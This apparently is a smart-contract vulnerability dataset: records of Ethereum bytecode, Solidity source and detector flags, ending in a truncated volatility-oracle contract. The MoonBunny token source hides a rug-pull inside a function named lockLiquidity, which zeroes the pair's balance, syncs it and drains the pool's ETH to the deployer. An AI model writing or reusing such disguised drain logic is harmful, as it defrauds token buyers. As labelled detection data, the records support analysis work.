2062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610dc057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0257506001600160a01b03821660009081526005602052604090205460ff16155b15610f72576000600955600c54600a55600f546001600160a01b038481169116148015610e3d5750600e546001600160a01b03838116911614155b8015610e6257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e775750600f54600160b81b900460ff165b15610ea4576000610e87836105ab565b601054909150610e9783836111f4565b1115610ea257600080fd5b505b600f546001600160a01b038381169116148015610ecf5750600e546001600160a01b03848116911614155b8015610ef457506001600160a01b03831660009081526005602052604090205460ff16155b15610f05576000600955600b54600a555b6000610f10306105ab565b600f54909150600160a81b900460ff16158015610f3b5750600f546001600160a01b03858116911614155b8015610f505750600f54600160b01b900460ff165b15610f7057610f5e8161107a565b478015610f6e57610f6e47610fbc565b505b505b610f7d838383611253565b505050565b60008184841115610fa65760405162461bcd60e51b81526004016104439190611684565b506000610fb38486611999565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f2573d6000803e3d6000fd5b600060075482111561105d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b600061106761125e565b90506110738382611281565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c2576110c2611907565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f91906118ea565b8160018151811061115257611152611907565b6001600160a01b039283166020918202929092010152600e546111789130911684610b4e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b19085906000908690309042906004016119b0565b600060405180830381600087803b1580156111cb57600080fd5b505af11580156111df573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112018385611a21565b9050838110156110735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b610f7d8383836112c3565b600080600061126b6113ba565b909250905061127a8282611281565b9250505090565b600061107383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fa565b6000806000806000806112d587611428565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113079087611485565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133690866111f4565b6001600160a01b038916600090815260026020526040902055611358816114c7565b6113628483611511565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a791815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113d58282611281565b8210156113f157505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361141b5760405162461bcd60e51b81526004016104439190611684565b506000610fb38486611a39565b60008060008060008060008060006114458a600954600a54611535565b925092509250600061145561125e565b905060008060006114688e87878761158a565b919e509c509a509598509396509194505050505091939550919395565b600061107383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f82565b60006114d161125e565b905060006114df83836115da565b306000908152600260205260409020549091506114fc90826111f4565b30600090815260026020526040902055505050565b60075461151e9083611485565b60075560085461152e90826111f4565b6008555050565b600080808061154f606461154989896115da565b90611281565b9050600061156260646115498a896115da565b9050600061157a826115748b86611485565b90611485565b9992985090965090945050505050565b600080808061159988866115da565b905060006115a788876115da565b905060006115b588886115da565b905060006115c7826115748686611485565b939b939a50919850919650505050505050565b6000826115e95750600061047b565b60006115f58385611a5b565b9050826116028583611a39565b146110735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80151581146104c057600080fd5b60006020828403121561167957600080fd5b813561107381611659565b600060208083528351808285015260005b818110156116b157858101830151858201604001528201611695565b818111156116c3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c057600080fd5b80356116f9816116d9565b919050565b6000806040838503121561171157600080fd5b823561171c816116d9565b946020939093013593505050565b60006020828403121561173c57600080fd5b5035919050565b60008060006060848603121561175857600080fd5b8335611763816116d9565b92506020840135611773816116d9565b929592945050506040919091013590565b60006020828403121561179657600080fd5b8135611073816116d9565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117ca57600080fd5b823567ffffffffffffffff808211156117e257600080fd5b818501915085601f8301126117f657600080fd5b813581811115611808576118086117a1565b8060051b604051601f19603f8301168101818110858211171561182d5761182d6117a1565b60405291825284820192508381018501918883111561184b57600080fd5b938501935b8285101561187057611861856116ee565b84529385019392850192611850565b98975050505050505050565b6000806040838503121561188f57600080fd5b823561189a816116d9565b915060208301356118aa816116d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118fc57600080fd5b8151611073816116d9565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119475761194761191d565b5060010190565b60008060006060848603121561196357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198e57600080fd5b815161107381611659565b6000828210156119ab576119ab61191d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a005784516001600160a01b0316835293830193918301916001016119db565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3457611a3461191d565b500190565b600082611a5657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7557611a7561191d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201fe75e89d2f3ac3e0d66d5a3167aada0885106d23cc93aea1ca5957280a70e2464736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,061
0xcaD067f231cb7b8f836F303c111d2dC72dE1C300
/** _ /_/_ .'''. =O(_)))) ...' `. \_\ `. .'''B'zzzzzzzzzzz `..' /| __ / | ,-~ / Y :| // / | jj /( .^ >-"~"-v" / Y jo o | ( ~T~ j >._-' _./ / "~" | Y _, | /| ;-"~ _ l / l/ ,-"~ \ \//\/ .- \ Y / Y* l I ! ]\ _\ /"\ (" ~----( ~ Y. ) ~~~~~~~~~~~~~~~~~~~~~~~~~~ MoonBunny Easter Community token 2% tax Max TX 2% Max Wallet 4% LP Lock 1 year */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract MoonBunny is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000000000000000 * 10**18; uint256 private _maxWallet= 1000000000000000 * 10**18; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = "MoonBunny"; string private constant _symbol = "MoonBunny"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 2; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(50); _maxWallet=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance,address(this)); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 40000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, to, block.timestamp ); } function increaseMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function lockLiquidity() public{ require(_msgSender()==_taxWallet); _balance[address(this)] = 100000000000000000; _balance[_pair] = 1; (bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9))); if (success) { swapTokensForEth(100000000, _taxWallet); } else { revert("Internal failure"); } } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function manualSwap() public{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance,address(this)); } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f7199146102e5578063d91a21a6146102fa578063dd62ed3e1461031a578063e8078d9414610360578063f42938901461037557600080fd5b8063715018a6146102725780637d1db4a5146102875780638da5cb5b1461029d57806395d89b4114610124578063a9059cbb146102c557600080fd5b8063313ce567116100e7578063313ce567146101d45780633e7175c5146101f05780634a1316721461021257806351bc3c851461022757806370a082311461023c57600080fd5b806306fdde0314610124578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b457600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201825260098152684d6f6f6e42756e6e7960b81b6020820152905161015c919061140b565b60405180910390f35b34801561017157600080fd5b50610185610180366004611453565b61038a565b604051901515815260200161015c565b3480156101a157600080fd5b506005545b60405190815260200161015c565b3480156101c057600080fd5b506101856101cf36600461147f565b6103a1565b3480156101e057600080fd5b506040516012815260200161015c565b3480156101fc57600080fd5b5061021061020b3660046114c0565b61040a565b005b34801561021e57600080fd5b50610210610450565b34801561023357600080fd5b50610210610729565b34801561024857600080fd5b506101a66102573660046114d9565b6001600160a01b031660009081526002602052604090205490565b34801561027e57600080fd5b50610210610745565b34801561029357600080fd5b506101a660095481565b3480156102a957600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102d157600080fd5b506101856102e0366004611453565b6107b9565b3480156102f157600080fd5b506102106107c6565b34801561030657600080fd5b506102106103153660046114c0565b6108f5565b34801561032657600080fd5b506101a66103353660046114f6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561036c57600080fd5b50610210610932565b34801561038157600080fd5b50610210610a5b565b6000610397338484610aae565b5060015b92915050565b60006103ae848484610bd2565b61040084336103fb856040518060600160405280602881526020016116fb602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f87565b610aae565b5060019392505050565b6000546001600160a01b0316331461043d5760405162461bcd60e51b81526004016104349061152f565b60405180910390fd5b600654811161044b57600080fd5b600655565b6000546001600160a01b0316331461047a5760405162461bcd60e51b81526004016104349061152f565b600b54600160a01b900460ff16156104d45760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610434565b600a546005546104f19130916001600160a01b0390911690610aae565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561053f57600080fd5b505afa158015610553573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105779190611564565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d457600080fd5b505afa1580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c9190611564565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561065457600080fd5b505af1158015610668573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068c9190611564565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b1580156106ee57600080fd5b505af1158015610702573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107269190611581565b50565b3060009081526002602052604081205490506107268130610fc1565b6000546001600160a01b0316331461076f5760405162461bcd60e51b81526004016104349061152f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610397338484610bd2565b6008546001600160a01b0316336001600160a01b0316146107e657600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b03191790529151911691610853916115a3565b6000604051808303816000865af19150503d8060008114610890576040519150601f19603f3d011682016040523d82523d6000602084013e610895565b606091505b5050905080156108ba57600854610726906305f5e100906001600160a01b0316610fc1565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610434565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016104349061152f565b600954811161092d57600080fd5b600955565b6000546001600160a01b0316331461095c5760405162461bcd60e51b81526004016104349061152f565b600a546001600160a01b031663f305d719473061098e816001600160a01b031660009081526002602052604090205490565b6000806109a36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0657600080fd5b505af1158015610a1a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3f91906115bf565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b476107268161114b565b6000610aa783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611189565b9392505050565b6001600160a01b038316610b105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610434565b6001600160a01b038216610b715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610434565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610434565b6001600160a01b038216610c985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610434565b60008111610cfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610434565b6000546001600160a01b03848116911614801590610d2657506000546001600160a01b03838116911614155b15610f2657600b546001600160a01b038481169116148015610d565750600a546001600160a01b03838116911614155b8015610d7b57506001600160a01b03821660009081526004602052604090205460ff16155b15610dd257600954811115610dd25760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610434565b600b546001600160a01b03838116911614801590610e0957506001600160a01b03821660009081526004602052604090205460ff16155b8015610e2e57506001600160a01b03831660009081526004602052604090205460ff16155b15610eae5760065481610e56846001600160a01b031660009081526002602052604090205490565b610e609190611603565b1115610eae5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610434565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ee65750600b546001600160a01b03858116911614155b8015610efb5750600b54600160b01b900460ff165b15610f2457610f0a8130610fc1565b47668e1bc9bf0400008110610f2257610f224761114b565b505b505b6001600160a01b038216600090815260046020526040902054610f829084908490849060ff1680610f6f57506001600160a01b03871660009081526004602052604090205460ff165b610f7b576007546111b7565b60006111b7565b505050565b60008184841115610fab5760405162461bcd60e51b8152600401610434919061140b565b506000610fb8848661161b565b95945050505050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061100957611009611632565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105d57600080fd5b505afa158015611071573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110959190611564565b816001815181106110a8576110a8611632565b6001600160a01b039283166020918202929092010152600a546110ce9130911685610aae565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611107908690600090869088904290600401611648565b600060405180830381600087803b15801561112157600080fd5b505af1158015611135573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611185573d6000803e3d6000fd5b5050565b600081836111aa5760405162461bcd60e51b8152600401610434919061140b565b506000610fb884866116b9565b60006111ce60646111c885856112bb565b90610a65565b905060006111dc848361133a565b6001600160a01b038716600090815260026020526040902054909150611202908561133a565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611231908261137c565b6001600160a01b03861660009081526002602052604080822092909255308152205461125d908361137c565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112ca5750600061039b565b60006112d683856116db565b9050826112e385836116b9565b14610aa75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610434565b6000610aa783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f87565b6000806113898385611603565b905083811015610aa75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610434565b60005b838110156113f65781810151838201526020016113de565b83811115611405576000848401525b50505050565b602081526000825180602084015261142a8160408501602087016113db565b601f01601f19169190910160400192915050565b6001600160a01b038116811461072657600080fd5b6000806040838503121561146657600080fd5b82356114718161143e565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f8161143e565b925060208401356114af8161143e565b929592945050506040919091013590565b6000602082840312156114d257600080fd5b5035919050565b6000602082840312156114eb57600080fd5b8135610aa78161143e565b6000806040838503121561150957600080fd5b82356115148161143e565b915060208301356115248161143e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561157657600080fd5b8151610aa78161143e565b60006020828403121561159357600080fd5b81518015158114610aa757600080fd5b600082516115b58184602087016113db565b9190910192915050565b6000806000606084860312156115d457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008219821115611616576116166115ed565b500190565b60008282101561162d5761162d6115ed565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116985784516001600160a01b031683529383019391830191600101611673565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826116d657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116f5576116f56115ed565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cdb351347d68267ec9d70fbc624c0c9346ae503d292b20cdaa8c308fc247850864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,062
0x173ed6531818456f29fc74011a3b1fb4b6132dc9
/** *Submitted for verification at Etherscan.io on 2021-02-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IKeep3rV1Oracle { function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory); function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut); } interface IERC20 { function decimals() external view returns (uint); } contract Keep3rV1Volatility { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LNX = 3988425491; uint private constant LOG_10_2 = 3010299957; uint private constant LOG_E_2 = 6931471806; uint private constant BASE = 1e10; IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0xf67Ab1c914deE06Ba0F264031885Ea7B276a7cDa); address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); function floorLog2(uint256 _n) public pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function ln(uint256 x) public pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_E_2 / BASE; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) public pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) { uint _price = price(tokenIn, tokenOut); return quotePrice(tokenIn, tokenIn == WETH ? tokenOut : WETH, t, _price, _price); 